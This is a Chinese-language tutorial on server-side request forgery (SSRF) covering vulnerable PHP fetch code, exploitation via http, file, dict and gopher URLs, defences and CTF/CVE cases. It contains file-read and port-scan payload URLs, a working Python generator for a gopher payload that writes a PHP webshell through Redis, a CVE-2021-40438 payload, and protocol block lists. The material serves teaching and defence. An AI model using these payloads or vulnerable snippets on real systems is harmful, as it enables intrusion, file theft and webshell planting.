SSRF漏洞详解

基础原理

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者利用服务器端提供的从其他服务器获取数据的功能,通过构造恶意请求,让服务器去访问不应该被公开访问的资源。

漏洞定义

SSRF漏洞的核心在于:服务端提供了从其他服务器应用获取数据的功能,但没有对目标地址做过滤与限制。攻击者可以控制服务端发起请求的目标地址,从而探测或攻击内网服务。

漏洞成因

SSRF漏洞的形成主要有以下几个原因:

  1. 服务端提供了获取远程数据的功能,如:

    • 从指定URL获取图片、文件
    • 从远程API获取数据
    • 加载远程配置文件
  2. 未对用户输入的URL参数进行严格的验证和过滤

  3. 未限制可访问的协议和地址范围

漏洞危害

SSRF漏洞的危害主要体现在以下几个方面:

内网探测

攻击者可以利用SSRF漏洞探测内网服务,获取内网资产信息:

1
2
3
4
5
6
<?php
$url = $_GET['url'];
$ch = curl_init($url);
curl_exec($ch);
curl_close($ch);
?>

攻击者可以构造如下请求探测内网主机:

1
2
3
http://target.com/?url=http://192.168.1.1
http://target.com/?url=http://192.168.1.2
http://target.com/?url=http://172.17.0.1

端口扫描

通过SSRF漏洞可以进行端口扫描,识别内网服务:

1
2
3
4
# 使用burpsuite进行端口扫描
/search?url=http://172.17.0.2:22
/search?url=http://172.17.0.2:3306
/search?url=http://172.17.0.2:6379

攻击内网服务

攻击者可以利用SSRF漏洞攻击内网的各种服务,如:

  • Redis未授权访问
  • MySQL数据库
  • FastCGI服务
  • 文件读取(file://协议)

绕过防火墙

SSRF漏洞可以绕过防火墙和其他网络防护措施,直接从内部网络发起攻击,这使得一些仅对外部访问设限的安全措施失效。

常见触发点

SSRF漏洞通常出现在以下场景中:

1. 远程图片加载

1
2
3
4
5
<?php
$url = $_GET['img_url'];
$img = file_get_contents($url);
echo $img;
?>

2. 远程API调用

1
2
3
4
5
<?php
$api_url = $_POST['api_url'];
$response = curl_exec(curl_init($api_url));
echo $response;
?>

3. 文件分享功能

1
2
3
4
5
<?php
$share_url = $_GET['share'];
$content = file_get_contents($share_url);
echo $content;
?>

4. Webhook功能

1
2
3
4
5
<?php
$webhook_url = $_POST['webhook'];
curl_setopt($ch, CURLOPT_URL, $webhook_url);
curl_exec($ch);
?>

5. 在线转换工具

1
2
3
4
5
<?php
$source_url = $_GET['source'];
$converter_url = "http://converter.com/convert?url=" . $source_url;
$result = file_get_contents($converter_url);
?>

支持的协议

SSRF漏洞可以利用多种协议进行攻击,不同的协议有不同的攻击效果:

HTTP/HTTPS协议

最常用的协议,主要用于:

  • 探测内网Web服务
  • 进行端口扫描
  • 发送HTTP请求
1
2
?url=http://192.168.1.1
?url=https://internal.com

FILE协议

读取服务器本地文件:

1
2
?url=file:///etc/passwd
?url=file:///var/www/html/config.php

DICT协议

探测TCP端口服务,获取服务信息:

1
2
?url=dict://127.0.0.1:3306
?url=dict://127.0.0.1:6379

GOPHER协议

发送任意TCP数据流,攻击各种服务:

1
2
?url=gopher://127.0.0.1:6379/_TCP数据流
?url=gopher://127.0.0.1:9000/_FastCGI数据流

FTP协议

访问FTP服务:

1
?url=ftp://internal.com/file.txt

利用方式

基础探测

1. 内网主机存活探测

1
2
3
4
5
6
7
8
9
10
<?php
// 漏洞代码
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
echo curl_exec($ch);
curl_close($ch);
?>

攻击者可以通过以下方式探测内网主机:

1
2
3
4
5
6
7
8
# 探测172.17.0.x网段
http://target.com/?url=http://172.17.0.1
http://target.com/?url=http://172.17.0.2
http://target.com/?url=http://172.17.0.3

# 通过phpinfo获取内网IP
http://target.com/?info
# 查看SERVER_ADDR或HTTP_HOST获取内网IP

2. 端口扫描

使用Burp Suite的Intruder模块进行端口扫描:

1
2
3
4
5
http://target.com/?url=http://172.17.0.2:22
http://target.com/?url=http://172.17.0.2:80
http://target.com/?url=http://172.17.0.2:3306
http://target.com/?url=http://172.17.0.2:6379
http://target.com/?url=http://172.17.0.2:9000

根据返回信息判断端口是否开放:

  • 连接超时:端口可能关闭
  • 返回特定服务信息:端口开放
  • 返回”Go away”或类似信息:端口开放但拒绝连接

文件读取

使用file协议读取服务器本地文件:

1
2
3
4
?url=file:///etc/passwd
?url=file:///etc/hosts
?url=file:///var/www/html/config.php
?url=file:///proc/net/arp

攻击内网服务

1. 攻击Redis

使用gopher协议攻击Redis服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib

protocol = "gopher://"
ip = "172.17.0.2"
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "web.php"
path = "/var/www/html/upload"

cmd = [
"flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd

for x in cmd:
payload += urllib.quote(redis_format(x))

print payload

2. 攻击FastCGI

使用gopher协议构造FastCGI请求攻击PHP-FPM:

1
2
# 使用Gopherus工具生成payload
# python gopherus.py --exploit fastcgi

防御措施

1. 严格的输入验证

对URL参数进行严格的验证和过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$url = $_GET['url'];

// 白名单验证
$allowed_domains = ['example.com', 'api.example.com'];
$parsed_url = parse_url($url);

if (!in_array($parsed_url['host'], $allowed_domains)) {
die('Invalid domain');
}

// 协议限制
$allowed_schemes = ['http', 'https'];
if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
die('Invalid protocol');
}

// IP地址过滤
if (filter_var($parsed_url['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('Private IP not allowed');
}
?>

2. 限制协议

只允许HTTP和HTTPS协议,禁用危险协议:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = $_GET['url'];

// 只允许http和https协议
if (!preg_match('/^https?:\/\//i', $url)) {
die('Only HTTP and HTTPS protocols are allowed');
}

// 禁用file、dict、gopher等协议
$blocked_protocols = ['file://', 'dict://', 'gopher://', 'ftp://'];
foreach ($blocked_protocols as $protocol) {
if (stripos($url, $protocol) !== false) {
die('Protocol not allowed');
}
}
?>

3. 内网IP过滤

过滤内网IP地址和本地回环地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function is_private_ip($ip) {
$private_ranges = [
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'127.0.0.0/8',
'0.0.0.0/8'
];

$ip_long = ip2long($ip);
foreach ($private_ranges as $range) {
list($network, $mask) = explode('/', $range);
$network_long = ip2long($network);
$mask_long = -1 << (32 - $mask);

if (($ip_long & $mask_long) == ($network_long & $mask_long)) {
return true;
}
}
return false;
}

$url = $_GET['url'];
$parsed_url = parse_url($url);

if (filter_var($parsed_url['host'], FILTER_VALIDATE_IP) && is_private_ip($parsed_url['host'])) {
die('Private IP not allowed');
}
?>

4. 统一错误信息

避免通过错误信息泄露内网信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = $_GET['url'];

try {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);

if (curl_errno($ch)) {
die('Error fetching URL');
}

curl_close($ch);
echo $response;
} catch (Exception $e) {
die('Error processing request');
}
?>

5. 禁用重定向

禁止302重定向或对重定向进行严格验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$url = $_GET['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 禁止重定向
$response = curl_exec($ch);

if (curl_errno($ch) == 47) {
die('Redirect not allowed');
}

curl_close($ch);
echo $response;
?>

6. 使用网络隔离

将需要发起外部请求的服务部署在独立的网络环境中,使用代理服务器进行请求转发:

1
2
3
4
5
6
7
8
<?php
// 通过内部代理服务器发起请求
$url = $_GET['url'];
$proxy_url = "http://internal-proxy.com/fetch?url=" . urlencode($url);

$response = file_get_contents($proxy_url);
echo $response;
?>

7. 限制端口

只允许访问特定的端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$url = $_GET['url'];
$parsed_url = parse_url($url);

if (isset($parsed_url['port'])) {
$port = $parsed_url['port'];
$allowed_ports = [80, 443, 8080];

if (!in_array($port, $allowed_ports)) {
die('Port not allowed');
}
}
?>

8. 使用DNS解析

将URL转换为IP地址后再进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$url = $_GET['url'];
$parsed_url = parse_url($url);
$host = $parsed_url['host'];

// 解析DNS
$ips = gethostbynamel($host);

foreach ($ips as $ip) {
if (is_private_ip($ip)) {
die('Private IP not allowed');
}
}
?>

检测方法

1. 手动检测

寻找可能存在SSRF漏洞的功能点:

  • 图片加载功能
  • 文件分享功能
  • 远程API调用
  • Webhook功能
  • 在线转换工具

2. 自动化工具

使用SSRFmap等工具进行自动化检测:

1
2
3
4
5
# SSRFmap
python ssrfmap.py -u "http://target.com/?url=http://example.com" -m portscan

# SSRF-Testing
python ssrf-testing.py -u "http://target.com/?url=http://example.com"

3. Burp Suite插件

使用SSRF相关的Burp Suite插件:

  • SSRF Detector
  • Collaborator Everywhere

实战案例

案例1:CTF题目 - ssrfme

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__file__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
die('No, No, No!');
}
curl($url);
}
if(isset($_GET['info'])){
phpinfo();
}
?>

利用步骤:

  1. 通过phpinfo获取内网IP
  2. 探测内网存活主机
  3. 扫描开放端口
  4. 发现Redis服务
  5. 利用gopher协议攻击Redis
  6. 写入webshell获取flag

案例2:Apache mod_proxy SSRF (CVE-2021-40438)

漏洞原理:Apache mod_proxy模块在处理Unix套接字URL时存在漏洞,攻击者可以通过构造特殊的URL绕过限制发起SSRF攻击。

利用Payload:

1
GET /?unix:{'A'*5000}|http://example.com/ HTTP/1.1

总结

SSRF漏洞是一种严重的安全漏洞,可以导致内网信息泄露、服务被攻击等严重后果。防御SSRF漏洞需要从多个层面入手:

  1. 严格的输入验证和过滤
  2. 限制可访问的协议和地址范围
  3. 统一错误信息,避免信息泄露
  4. 使用网络隔离和代理服务器
  5. 定期进行安全测试和代码审计

只有综合运用多种防御措施,才能有效防范SSRF漏洞的攻击。